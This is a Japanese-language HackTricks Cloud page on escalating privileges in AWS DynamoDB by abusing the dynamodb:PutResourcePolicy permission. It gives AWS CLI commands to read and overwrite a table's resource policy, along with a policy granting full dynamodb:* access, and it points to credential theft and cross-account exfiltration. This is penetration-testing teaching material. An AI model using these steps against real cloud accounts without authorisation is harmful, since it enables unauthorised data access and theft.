AWS - DynamoDB Privesc
Reading time: 6 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
dynamodb
dynamodbに関する詳細情報は、以下を確認してください:
dynamodb:PutResourcePolicy
とオプションで dynamodb:GetResourcePolicy
2024年3月以降、AWSはDynamoDBに対してリソースベースのポリシーを提供しています(AWS News)。
したがって、テーブルに対してdynamodb:PutResourcePolicy
を持っている場合、テーブルへの完全なアクセス権を自分自身または他の任意のプリンシパルに付与できます。
dynamodb:PutResourcePolicy
をランダムなプリンシパルに付与することは、管理者がdynamodb:Put*
を付与することでそのプリンシパルがデータベースにアイテムを追加できるだけだと考える場合や、2024年3月以前にその権限セットを付与した場合に、しばしば偶然に発生します...
理想的には、他の潜在的に重要な権限を上書きせず、必要な追加の権限のみを注入するために、dynamodb:GetResourcePolicy
も持っているべきです:
# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json
現在のポリシーを取得できない場合は、テーブルに対してあなたのプリンシパルに完全なアクセスを付与するこのポリシーを使用してください:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}
もしカスタマイズが必要な場合、すべての可能なDynamoDBアクションのリストは次のとおりです: AWS Documentation。また、リソースベースのポリシーを介して許可されるすべてのアクションのリスト およびこれらのうちどれがクロスアカウントで使用できるか(データの流出を考えてください!): AWS Documentation
さて、ポリシードキュメント policy.json
が準備できたら、リソースポリシーを設定します:
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"
今、必要な権限を持っているはずです。
ポストエクスプロイテーション
私の知る限り、AWSのdynamodb
権限を持っているだけで権限を昇格させる直接的な方法は他にありません。テーブルから機密情報を読み取ることができ(AWSの認証情報を含む可能性があります)、テーブルに情報を書き込むことができます(これにより、lambdaコードインジェクションなどの他の脆弱性が引き起こされる可能性があります)が、これらのオプションはすでにDynamoDBポストエクスプロイテーションページで考慮されています:
AWS - DynamoDB Post Exploitation
TODO: データストリームを悪用してデータを読む
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。